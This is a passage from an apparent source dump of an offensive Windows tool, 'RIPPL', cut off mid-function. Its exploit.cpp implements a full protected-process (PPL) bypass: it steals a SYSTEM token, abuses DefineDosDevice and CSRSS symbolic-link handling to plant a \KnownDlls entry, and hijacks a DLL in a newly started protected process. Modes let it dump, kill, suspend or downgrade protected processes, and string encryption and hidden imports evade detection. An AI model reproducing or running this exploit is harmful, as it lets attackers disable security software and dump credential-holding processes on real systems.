OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef Unroller_h\n#define Unroller_h\n\n// Unroll a loop\n\nnamespace andrivet { namespace ADVobfuscator {\n\ntemplate <int N>\nstruct Unroller\n{\n    template<typename F, typename... Args>\n    inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward<F>(f)(std::forward<Args>(args)...))\n    {\n        Unroller<N-1>{}(std::forward<F>(f), std::forward<Args>(args)...);\n        return std::forward<F>(f)(std::forward<Args>(args)...);\n    }\n};\n\ntemplate <>\nstruct Unroller<1>\n{\n    template<typename F, typename... Args>\n    inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward<F>(f)(std::forward<Args>(args)...))\n    {\n        return std::forward<F>(f)(std::forward<Args>(args)...);\n    }\n};\n\n}}\n\n#endif\n"
  },
  {
    "path": "RIPPL/common.hpp",
    "content": "#pragma once\n#pragma warning(disable: 4390)\n\n#define DUMP_MODE 0 // -D\n#define KILL_MODE 1 // -K\n#define SUSPEND_MODE 2 // -S\n#define RESUME_MODE 3 // -R\n#define LEAK_MODE 4 // -L\n#define JOB_SUPPRESS_MODE 5 // -X\n#define JOB_KILL_MODE 6 // -W\n#define SUICIDE_MODE 7 // -Z\n#define TOKEN_DOWNGRADE_MODE 8 // -T\n#define DRIVER_UNLOAD_MODE 9 // -U\n\n//#define OPSEC // OPSEC enabling macro, if defined the program will not output verbose output and won't have embedded strings (aside from the Success or Fail)\n\n#include <Windows.h>\n#include <Lmcons.h>\n#include <strsafe.h>\n#include <tlhelp32.h>\n#include <comdef.h>\n#include <sddl.h>\n#include <wil/resource.h>\n#include <psapi.h>\n#include <aclapi.h>\n#include <iostream>\n#include <vector>\n#include <string>\n\n#include \"lazy_importer.hpp\"\n#include \"ntdll.h\"\n#include \"skCrypter.hpp\""
  },
  {
    "path": "RIPPL/exploit.cpp",
    "content": "#include \"exploit.h\"\n\n_Success_(return)\nBOOL RunExploit(_In_ DWORD dwProcessId)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tBOOL bCurrentUserIsSystem = FALSE;\n\tHANDLE hSystemToken = NULL;\n\tBOOL bImpersonationActive = FALSE;\n\n\t// STEP 1\n\tLPCWSTR pwszKnownDllsObjDir = skCrypt(L\"\\\\GLOBAL??\\\\KnownDlls\");\n\tHANDLE hKnownDllsObjDir = NULL;\n\n\t// STEP 2\n\tLPWSTR pwszDllToHijack = NULL;\n\tLPWSTR pwszDllLinkName = NULL;\n\tHANDLE hDllLink = NULL;\n\tSECURITY_DESCRIPTOR sd = { 0 };\n\tSECURITY_ATTRIBUTES sa = { 0 };\n\n\t// STEP 3\n\tLPCWSTR pwszFakeGlobalrootLinkName = skCrypt(L\"\\\\??\\\\GLOBALROOT\");\n\tLPCWSTR pwszFakeGlobalrootLinkTarget = skCrypt(L\"\\\\GLOBAL??\");\n\tHANDLE hFakeGlobalrootLink = NULL;\n\tHANDLE hLocalServiceToken = NULL;\n\n\t// STEP 4\n\tLPWSTR pwszDosDeviceName = NULL;\n\tLPWSTR pwszDosDeviceTargetPath = NULL;\n\n\t// STEP 5\n\tLPWSTR pwszSectionName = NULL;\n\tHANDLE hDllSection = NULL;\n\n\t// STEP 6\n\tLPWSTR pwszCommandLine = NULL;\n\tHANDLE hCurrentToken = NULL;\n\tHANDLE hNewProcessToken = NULL;\n\tHANDLE hNewProcess = NULL;\n\tDWORD dwExitCode = 0;\n\n\t// SYNCHRONIZATION\n\tHANDLE hEventDllLoaded = NULL, hEventExploitSuccess = NULL;\n\tBOOL bDllLoaded = FALSE, bExploitSuccess = FALSE;\n\tWCHAR wszEventName[MAX_PATH] = { 0 };\n\tLPWSTR pwszGuid = NULL;\n\tDWORD dwWait = 0;\n\n\tPRINTDEBUG(L\"Check requirements\\n\", bCurrentUserIsSystem);\n\n\tif (!CheckRequirements())\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] Requirements OK\\n\");\n\n\tPRINTDEBUG(L\"Get the name of the DLL to hijack\\n\");\n\n\tif (!GetHijackableDllName(&pwszDllToHijack))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] DLL to hijack: %ws\\n\", pwszDllToHijack);\n\n\tif (!IsCurrentUserSystem(&bCurrentUserIsSystem))\n\t\tgoto end;\n\t\n\tif (g_bDebug)\n\t\tPRINTDEBUG(L\"[*] Current user is SYSTEM? -> %ws\\n\", bCurrentUserIsSystem ? L\"TRUE\" : L\"FALSE\");\n\n\t\n\t//\n\t// 1. Create the object directory '\\GLOBAL??\\KnownDlls'.\n\t//\n\t//    When executed as an administrator, this fails (access denied). Thanks to WinObj, we can \n\t//    see that Administrators do have the \"Add Object\" right but the corresponding ACE applies \n\t//    to child objects only, which means that they cannot add objects in the directory \n\t//    '\\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will \n\t//    search for SYSTEM tokens among the running processes and steal one. This requires both\n\t//    SeImpersonatePrivilege and SeDebugPrivilege.\n\t//    Note: as long as the object is not marked as \"permanent\", we do not need to remove it \n\t//    manually. When we close the last handle, the object is removed automatically.\n\t//\n\tif (!bCurrentUserIsSystem)\n\t{\n\t\tif (!ImpersonateSystem(&hSystemToken))\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = TRUE;\n\n\t\tPRINTDEBUG(L\"[*] Impersonating SYSTEM...\\n\");\n\t}\n\n\tPRINTDEBUG(L\"Create object directory '%ws'...\\n\", pwszKnownDllsObjDir);\n\t\n\tif (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir)))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] Created Object Directory: '%ws'\\n\", pwszKnownDllsObjDir);\n\n\n\t//\n\t// 2. Create a symlink in '\\GLOBAL??\\KnownDlls\\' with the name of a DLL to hijack. The target\n\t//    of the link doesn't matter.\n\t//\n\t//    The next steps will allow us to trick the CSRSS service into opening the symbolic link\n\t//    '\\GLOBAL??\\KnownDlls\\FOO.dll' instead of '\\KnownDlls\\FOO.dll' while impersonating the\n\t//    caller. That's why we need to create this symbolic link beforehand. As the service will \n\t//    just open the object itself, its target does not matter. \n\t//\n\tpwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\tif (!pwszDllLinkName)\n\t\tgoto end;\n\n\tStringCchPrintfW(pwszDllLinkName, MAX_PATH, skCrypt(L\"%ws\\\\%ws\"), pwszKnownDllsObjDir, pwszDllToHijack);\n\n\tPRINTDEBUG(L\"Create symbolic link '%ws'...\\n\", pwszDllLinkName);\n\n\tif (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, skCrypt(L\"KnownDlls\"))))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] Created Symbolic link: '%ws'\\n\", pwszDllLinkName);\n\t\n\n\t//\n\t// 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT' \n\t//    pointing to '\\GLOBAL??'\n\t//\n\t//    The idea here is to create a \"fake\" GLOBALROOT that will point to a location we control\n\t//    because, at step 4, the CSRSS service will try to open '\\??\\GLOBALROOT\\...' while\n\t//    impersonating the caller. '\\??' represents the current user's DOS device directory. For \n\t//    SYSTEM, '\\??' points to '\\GLOBAL??' so '\\??\\GLOBALROOT' is '\\GLOBAL??\\GLOBALROOT', which \n\t//    is the actual GLOBALROOT. Therefore the trick would not work.\n\t//    However, for users other than SYSTEM, '\\??' points to a dedicated DOS device directory\n\t//    such as '\\Sessions\\0\\DosDevices\\00000000-XXXXXXXX'. Therefore, we can create a fake \n\t//    GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so\n\t//    that '\\Sessions\\0\\DosDevices\\00000000-XXXXXXXX\\GLOBALROOT' -> '\\GLOBAL??', \n\t//    '\\??\\GLOBALROOT' will actually point to '\\GLOBAL??' instead of '\\GLOBAL??\\GLOBALROOT' in\n\t//    our context.\n\t//    To summarize:\n\t//      - If SYSTEM: '\\??\\GLOBALROOT' -> '' \n\t//      - Else:      '\\??\\GLOBALROOT' -> '\\GLOBAL??' (because of our symbolic link)\n\t//    Which means that:\n\t//      - If SYSTEM: '\\??\\GLOBALROOT\\KnownDlls\\FOO.DLL' -> '\\KnownDlls\\FOO.DLL'\n\t//      - Else:      '\\??\\GLOBALROOT\\KnownDlls\\FOO.DLL' -> '\\GLOBAL??\\KnownDlls\\FOO.DLL'\n\t//\n\t//    So, at this step, we need to:\n\t//      - revert to self if we impersonated SYSTEM as an administrator;\n\t//      - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM.\n\t//\n\tif (bCurrentUserIsSystem)\n\t{\n\t\t//\n\t\t// If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the\n\t\t// the impersonated user will not have sufficient access on the symbolic link we just \n\t\t// created and the DefineDosDevice call will fail with an \"Access Denied\" error. Therefore\n\t\t// we need to edit the ACL of the object first.\n\t\t// \n\t\tInitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);\n#pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here\n\t\tSetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);\n\n\t\tsa.nLength = sizeof(sa);\n\t\tsa.bInheritHandle = FALSE;\n\t\tsa.lpSecurityDescriptor = &sd;\n\n\t\tPRINTDEBUG(L\"Set a NULL DACL on '%ws'\\n\", pwszDllLinkName);\n\n\t\tif (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd))\n\t\t{\n\t\t\tPRINTLASTERROR(L\"SetKernelObjectSecurity\");\n\t\t\tgoto end;\n\t\t}\n\n\t\tif (!ImpersonateLocalService(&hLocalServiceToken))\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = TRUE;\n\n\t\tPRINTDEBUG(L\"[*] Impersonating LOCAL SERVICE...\\n\");\n\t}\n\telse\n\t{\n\t\tif (!LI_FN(RevertToSelf)())\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = FALSE;\n\t}\n\n\tPRINTDEBUG(L\"Create symbolic link '%ws -> %ws'...\\n\", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);\n\n\tif (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget)))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] Created symbolic link: '%ws -> %ws'\\n\", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);\n\n\t//\n\t// 4. Call DefineDosDevice specifying a device name of \"GLOBALROOT\\KnownDlls\\FOO.DLL\" and a target\n\t//    path of a location that the user can create section objects inside.\n\t//\n\t//    This still need to be executed as a user other than SYSTEM, so that all the symbolic links \n\t//    are properly followed. This is the \"fun\" part. DefineDosDevice actually results in an RPC \n\t//    call to the CSRSS service. On server side, here is how the device name will be interpreted:\n\t//      a. it receives the device name as the second argument;\n\t//             >>> GLOBALROOT\\KnownDlls\\FOO.DLL\n\t//      b. it will first prepend it with '\\??\\';\n\t//             >>> \\??\\GLOBALROOT\\KnownDlls\\FOO.DLL\n\t//      c. it will try to open the symbolic link while impersonating the client, the call succeeds\n\t//         because we control this symlink (step 1)\n\t//             >>> \\GLOBAL??\\KnownDlls\\FOO.DLL (\\??\\GLOBALROOT -> \\GLOBAL??)\n\t//      d. it checks whether the path starts with \\GLOBAL??\\ to determine if it's global;\n\t//      e. as it does, it rewrites the path and prepends it with '\\GLOBAL??\\', considers the link\n\t//         as global and disables impersonation;\n\t//             >>> \\GLOBAL??\\GLOBALROOT\\KnownDlls\\FOO.DLL\n\t//      f. but \\GLOBAL??\\GLOBALROOT, which is the real GLOBALROOT\n\t//             >>> \\KnownDlls\\FOO.DLL\n\t//      g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore \n\t//         creates a symlink inside '\\KnownDlls\\' with an arbitrary name and an arbitrary target\n\t//         path.\n\t//\n\t//    /!\\  The purpose of the initial open operation is to delete the symlink and this is always\n\t//         done while impersonating the user. Therefore we won't be able to delete the symlink\n\t//         that was created in \\KnownDlls\\. We will have to remove it once we are running code \n\t//         inside a PPL with WinTCB level.\n\t//\n\tpwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\tpwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\n\tif (!pwszDosDeviceName || !pwszDosDeviceTargetPath)\n\t\tgoto end;\n\n\tStringCchPrintfW(pwszDosDeviceName, MAX_PATH, skCrypt(L\"GLOBALROOT\\\\KnownDlls\\\\%ws\"), pwszDllToHijack);\n\tStringCchPrintfW(pwszDosDeviceTargetPath, MAX_PATH, skCrypt(L\"\\\\KernelObjects\\\\%ws\"), pwszDllToHijack);\n\n\tPRINTDEBUG(L\"Call DefineDosDevice to create '\\\\KnownDlls\\\\%ws' -> '%ws'\\n\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n\tif (!LI_FN(DefineDosDeviceW)(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath))\n\t{\n\t\tPRINTLASTERROR(L\"DefineDosDevice\");\n\t\tif (!g_bForce || LI_FN(GetLastError)() != ERROR_ALREADY_EXISTS)\n\t\t\tgoto end;\n\t}\n\n\tPRINTDEBUG(L\"[*] DefineDosDevice OK\\n\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n\t//\n\t// Make sure the link was really created as a consequence of the DefineDosDevice call. But \n\t// first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again.\n\t//\n\tif (bCurrentUserIsSystem)\n\t{\n\t\tif (!LI_FN(RevertToSelf)())\n\t\t{\n\t\t\tPRINTLASTERROR(L\"RevertToSelf\");\n\t\t\tgoto end;\n\t\t}\n\n\t\tbImpersonationActive = FALSE;\n\t}\n\telse\n\t{\n\t\tPRINTDEBUG(L\"Impersonate SYSTEM again\\n\");\n\n\t\tif (!Impersonate(hSystemToken))\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = TRUE;\n\n\t\tPRINTDEBUG(L\"[*] Impersonating SYSTEM...\\n\");\n\t}\n\n\tPRINTDEBUG(L\"Check whether the symbolic link was really created in '\\\\KnownDlls\\\\'\\n\");\n\n\tif (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath))\n\t{\n\t\tPRINTDEBUG(L\"[-] The symbolic link '\\\\KnownDlls\\\\%ws' was not created.\\n\", pwszDllToHijack);\n\t\tgoto end;\n\t}\n\t\n\tPRINTDEBUG(L\"[+] The symbolic link was successfully created: '\\\\KnownDlls\\\\%ws' -> '%ws'\\n\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n\n\t//\n\t// 5. Create the image section object at the target location for an arbitrary DLL.\n\t//\n\t//    Final piece of the puzzle. Now that we have a symbolic link in \\KnownDlls that points to\n\t//    an arbitrary location, we just have to create a new Section at this location and map our\n\t//    payload DLL.\n\t//\n\tpwszSectionName = pwszDosDeviceTargetPath;\n\n\tPRINTDEBUG(L\"Map our DLL to section '%ws'\\n\", pwszSectionName);\n\n\tif (!MapDll(pwszSectionName, &hDllSection))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] Mapped payload DLL to: '%ws'\\n\", pwszSectionName);\n\t\n\t//\n\t// Prepare synchronization objects.\n\t//\n\tMiscGenerateGuidString(&pwszGuid);\n\tStringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L\"Global\\\\%ws_DLL_LOADED\"), pwszGuid);\n\tif (!(hEventDllLoaded = LI_FN(CreateEventW)(nullptr, TRUE, FALSE, wszEventName)))\n\t\tPRINTLASTERROR(L\"CreateEvent\");\n\tStringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L\"Global\\\\%ws_DUMP_SUCCESS\"), pwszGuid);\n\tif (!(hEventExploitSuccess = LI_FN(CreateEventW)(nullptr, TRUE, FALSE, wszEventName)))\n\t\tPRINTLASTERROR(L\"CreateEvent\");\n\n\t//\n\t// 6. Create a PPL process and hijack one of the DLLs it tries to load\n\t//\n\t//    First we need to prepare the command line that we are going to execute. The ID of the \n\t//    target process to dump and the path of the dump file should respectively be passed as the\n\t//    first and second argument.\n\t//    Then we need to get a SYSTEM token to start our new process. If the current process was \n\t//    started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to\n\t//    copy the current thread's token.\n\t//    Finally, we can start our protected process with the prepared command line and the \n\t//    duplicated token.\n\t//\n\tif (!PrepareCommandLine(dwProcessId, g_pwszDumpFilePath, pwszGuid, g_intExecutionMode, &pwszCommandLine))\n\t\t\tgoto end;\n\n\n\tif (bCurrentUserIsSystem)\n\t{\n\t\tif (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken))\n\t\t{\n\t\t\tPRINTLASTERROR(L\"OpenProcessToken\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (!OpenThreadToken(LI_FN(GetCurrentThread)(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken))\n\t\t{\n\t\t\tPRINTLASTERROR(L\"OpenThreadToken\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tPRINTDEBUG(L\"Enable privilege %ws\\n\", L\"SeAssignPrimaryTokenPrivilege\");\n\n\tif (!TokenCheckPrivilege(hCurrentToken, skCrypt(L\"SeAssignPrimaryTokenPrivilege\"), TRUE))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"Create a primary token\\n\");\n\n\tif (!LI_FN(DuplicateTokenEx)(hCurrentToken, MAXIMUM_ALLOWED, nullptr, SecurityAnonymous, TokenPrimary, &hNewProcessToken))\n\t{\n\t\tPRINTLASTERROR(L\"DuplicateTokenEx\");\n\t\tgoto end;\n\t}\n\n\tPRINTDEBUG(L\"Create protected process with command line: %ws\\n\", pwszCommandLine);\n\n\tif (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &hNewProcess))\n\t\tgoto end;\n\n\tPRINTDEBUG(L\"[*] Started protected process, waiting...\\n\");\n\n\tWaitForSingleObject(hNewProcess, INFINITE);\n\n\tbDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0;\n\tbExploitSuccess = WaitForSingleObject(hEventExploitSuccess, 100) == WAIT_OBJECT_0;\n\n\tPRINTDEBUG(L\"Unmap section '%ws'...\\n\", pwszSectionName);\n\n\tUnmapDll(hDllSection);\n\n\tif (!GetExitCodeProcess(hNewProcess, &dwExitCode))\n\t{\n\t\tPRINTLASTERROR(L\"GetExitCodeProcess\");\n\t\tgoto end;\n\t}\n\n\tPRINTDEBUG(L\"Process exit code: %d\\n\", dwExitCode);\n\n\tif (dwExitCode != 0)\n\t\tWPRINTF(L\"[!] Unexpected exit code: %d\\n\", dwExitCode);\n\n\tbReturnValue = bExploitSuccess;\n\n\tif (bExploitSuccess)\n\t{\n\t\twprintf(skCrypt(L\"Success!\\n\"));\n\t}\n\telse\n\t{\n\t\tif (bDllLoaded)\n\t\t\twprintf(skCrypt(L\"Fail - Dll loaded.\\n\"));\n\t\telse\n\t\t\twprintf(skCrypt(L\"Fail - Dll NOT loaded.\\n\"));\n\t}\n\nend:\n\tif (bImpersonationActive)\n\t\tLI_FN(RevertToSelf)(); // If impersonation was active, drop it first\n\tif (hEventDllLoaded)\n\t\tCloseHandle(hEventDllLoaded);\n\tif (hEventExploitSuccess)\n\t\tCloseHandle(hEventExploitSuccess);\n\tif (pwszGuid)\n\t\tLocalFree(pwszGuid);\n\tif (hNewProcessToken)\n\t\tCloseHandle(hNewProcessToken);\n\tif (pwszCommandLine)\n\t\tLocalFree(pwszCommandLine);\n\tif (pwszDosDeviceName)\n\t\tLocalFree(pwszDosDeviceName);\n\tif (pwszDosDeviceTargetPath)\n\t\tLocalFree(pwszDosDeviceTargetPath);\n\tif (hDllLink)\n\t\tCloseHandle(hDllLink);\n\tif (pwszDllLinkName)\n\t\tLocalFree(pwszDllLinkName);\n\tif (hKnownDllsObjDir)\n\t\tCloseHandle(hKnownDllsObjDir);\n\tif (hLocalServiceToken)\n\t\tCloseHandle(hLocalServiceToken);\n\tif (hSystemToken)\n\t\tCloseHandle(hSystemToken);\n\tif (pwszDllToHijack)\n\t\tLocalFree(pwszDllToHijack);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL CheckRequirements()\n{\n\tDWORD dwFailCount = 0;\n\tHANDLE hProcessToken = NULL;\n\tHANDLE hTargetProcess = NULL;\n\tBOOL bIsSystem = FALSE;\n\tDWORD dwProcessId = 0;\n\tDWORD dwProcessProtectionLevel = 0;\n\tLPWSTR pwszProcessProtectionName = NULL;\n\tDWORD dwProcessIntegrityLevel = 0;\n\tLPCWSTR ppwszRequiredPrivileges[2] = { skCrypt(L\"SeDebugPrivilege\").decrypt(), skCrypt(L\"SeImpersonatePrivilege\").decrypt()};\n\n\tif (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken))\n\t{\n\t\tdwFailCount++;\n\t}\n\telse\n\t{\n\t\tfor (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++)\n\t\t{\n\t\t\tif (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE))\n\t\t\t{\n\t\t\t\tdwFailCount++;\n\t\t\t\tWPRINTF(L\"[-] A privilege is missing: %ws\\n\", L\"SeDebugPrivilege\");\n\t\t\t}\n\t\t}\n\n\t\tCloseHandle(hProcessToken);\n\t}\n\n\t// Is SYSTEM or admin elevated?\n\tIsCurrentUserSystem(&bIsSystem);\n\tif (!bIsSystem)\n\t{\n\t\tif (!ProcessGetIntegrityLevel(LI_FN(GetCurrentProcessId)(), &dwProcessIntegrityLevel))\n\t\t{\n\t\t\tdwFailCount++;\n\t\t\tWPRINTF(L\"[-] Failed to get process integrity level\\n\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)\n\t\t\t{\n\t\t\t\tdwFailCount++;\n\t\t\t\tWPRINTF(L\"[-] Insufficient process integrity level\\n\");\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check windows version >= 8.1\n\tif (!IsWindows8Point1OrGreater())\n\t{\n\t\tdwFailCount++;\n\t\tWPRINTF(L\"[-] This version of Windows is not supported\\n\");\n\t}\n\n\tif (g_intExecutionMode == DRIVER_UNLOAD_MODE)\n\t{\n\t\treturn true;\n\t}\n\n\tif (g_pwszProcessName != NULL)\n\t{\n\t\tif (!ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId))\n\t\t{\n\t\t\tdwFailCount++;\n\t\t}\n\t}\n\telse if (g_dwProcessId != 0)\n\t{\n\t\tdwProcessId = g_dwProcessId;\n\t}\n\n\t// Make sure target process is a PPL\n\tif (dwProcessId != 0)\n\t{\n\t\tif (!ProcessGetProtectionLevel(dwProcessId, &dwProcessProtectionLevel))\n\t\t{\n\t\t\t//dwFailCount++;\n\t\t\tWPRINTF(L\"[!] Failed to get the protection level of process with PID %d\\n\", dwProcessId);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tProcessGetProtectionLevelAsString(dwProcessId, &pwszProcessProtectionName);\n\n\t\t\tPRINTDEBUG(L\"Target process protection level: %d - %ws\\n\", dwProcessProtectionLevel, pwszProcessProtectionName);\n\n\t\t\tif (pwszProcessProtectionName)\n\t\t\t\tLocalFree(pwszProcessProtectionName);\n\n\t\t\tif (\n\t\t\t\tdwProcessProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT &&\n\t\t\t\tdwProcessProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT &&\n\t\t\t\tdwProcessProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT &&\n\t\t\t\tdwProcessProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT &&\n\t\t\t\tdwProcessProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT &&\n\t\t\t\tdwProcessProtectionLevel != PROTECTION_LEVEL_PPL_APP\n\t\t\t\t)\n\t\t\t{\n\t\t\t\tWPRINTF(L\"[-] Process with ID %d is not a PPL\\n\", dwProcessId);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tdwFailCount++;\n\t}\n\n#if _WIN64\n\t//\n\t// A 64-bits executable cannot run on a 32-bits arch so no check is required here.\n\t//\n#elif _WIN32\n\t//\n\t// We need to make sure the system's arch is 32-bits as well because we embed only the x86 version\n\t// of our payload DLL.\n\t//\n\tif (MiscSystemArchIsAmd64())\n\t{\n\t\tdwFailCount++;\n\t\tWPRINTF(L\"[-] This system architecture is not supported. Please use the 64-bits version instead.\\n\");\n\t}\n#else\n\tdwFailCount++;\n\tWPRINTF(L\"[-] This system architecture is not supported.\\n\");\n#endif\n\n\treturn dwFailCount == 0;\n}\n\n_Success_(return)\nBOOL IsCurrentUserSystem(_Out_ PBOOL pbResult)\n{\n\tBOOL bReturnValue = FALSE;\n\tHANDLE hProcessToken = NULL;\n\tLPWSTR pwszStringSid = NULL;\n\n\tif (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY, &hProcessToken))\n\t{\n\t\tPRINTLASTERROR(L\"OpenProcessToken\");\n\t\tgoto end;\n\t}\n\n\tif (!TokenGetSidAsString(hProcessToken, &pwszStringSid))\n\t\tgoto end;\n\n\t*pbResult = _wcsicmp(pwszStringSid, skCrypt(L\"S-1-5-18\")) == 0;\n\tbReturnValue = TRUE;\n\nend:\n\tif (pwszStringSid)\n\t\tLocalFree(pwszStringSid);\n\tif (hProcessToken)\n\t\tCloseHandle(hProcessToken);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)\n{\n\tif (!ppwszDllName)\n\t\treturn FALSE;\n\n\t*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));\n\tif (!*ppwszDllName)\n\t\treturn FALSE;\n\n\tif (IsWindows10OrGreater())\n\t{\n\t\tauto hijackedDll = skCrypt(L\"EventAggregation.dll\").decrypt();\n\t\tStringCchPrintf(*ppwszDllName, 64, skCrypt(L\"%ws\"), hijackedDll);\n\t\treturn TRUE;\n\t}\n\n\tif (IsWindows8Point1OrGreater())\n\t{\n\t\tauto hijackedDll = skCrypt(L\"SspiCli.dll\").decrypt();\n\t\tStringCchPrintfW(*ppwszDllName, 64, skCrypt(L\"%ws\"), hijackedDll);\n\t\treturn TRUE;\n\t}\n\n\tLocalFree(*ppwszDllName);\n\n\treturn FALSE;\n}\n\n_Success_(return)\nBOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHRSRC hResource = NULL;\n\tHGLOBAL hResourceData = NULL;\n\tDWORD dwResourceSize = 0;\n\tLPVOID lpData = NULL;\n\n\tif (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))\n\t{\n\t\tPRINTLASTERROR(L\"FindResource\");\n\t\treturn FALSE;\n\t}\n\n\tif (!(dwResourceSize = SizeofResource(NULL, hResource)))\n\t{\n\t\tPRINTLASTERROR(L\"SizeofResource\");\n\t\treturn FALSE;\n\t}\n\n\tif (!(hResourceData = LoadResource(NULL, hResource)))\n\t{\n\t\tPRINTLASTERROR(L\"LoadResource\");\n\t\treturn FALSE;\n\t}\n\n\tif (!(lpData = LockResource(hResourceData)))\n\t{\n\t\tPRINTLASTERROR(L\"LockResource\");\n\t\treturn FALSE;\n\t}\n\n\t*ppBuffer = lpData;\n\t*pdwSize = dwResourceSize;\n\n\treturn TRUE;\n}\n\n_Success_(return)\nBOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tWCHAR wszSearchPath[MAX_PATH] = { 0 };\n\tWCHAR wszFilePath[MAX_PATH] = { 0 };\n\tWIN32_FIND_DATA wfd = { 0 };\n\tHANDLE hFind = NULL;\n\n\tHANDLE hFile = NULL;\n\tPSID pSidOwner = NULL;\n\tPSECURITY_DESCRIPTOR pSD = NULL;\n\tDWORD dwFileSize = 0;\n\n\tPSID pSidTarget = NULL;\n\n\tConvertStringSidToSidW(skCrypt(L\"S-1-5-18\"), &pSidTarget);\n\n\tGetSystemDirectoryW(wszSearchPath, MAX_PATH);\t\t\t// C:\\Windows\\System32\n\tStringCchCatW(wszSearchPath, MAX_PATH, skCrypt(L\"\\\\*.dll\"));\t\t// C:\\Windows\\System32\\*.dll\n\n\tif ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE)\n\t{\n\t\tdo\n\t\t{\n\t\t\tGetSystemDirectory(wszFilePath, MAX_PATH);\n\t\t\tStringCchCat(wszFilePath, MAX_PATH, skCrypt(L\"\\\\\"));\n\t\t\tStringCchCat(wszFilePath, MAX_PATH, wfd.cFileName);\n\n\t\t\tif (hFile = LI_FN(CreateFileW)(wszFilePath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr))\n\t\t\t{\n\t\t\t\tdwFileSize = GetFileSize(hFile, NULL);\n\t\t\t\tif (dwFileSize != 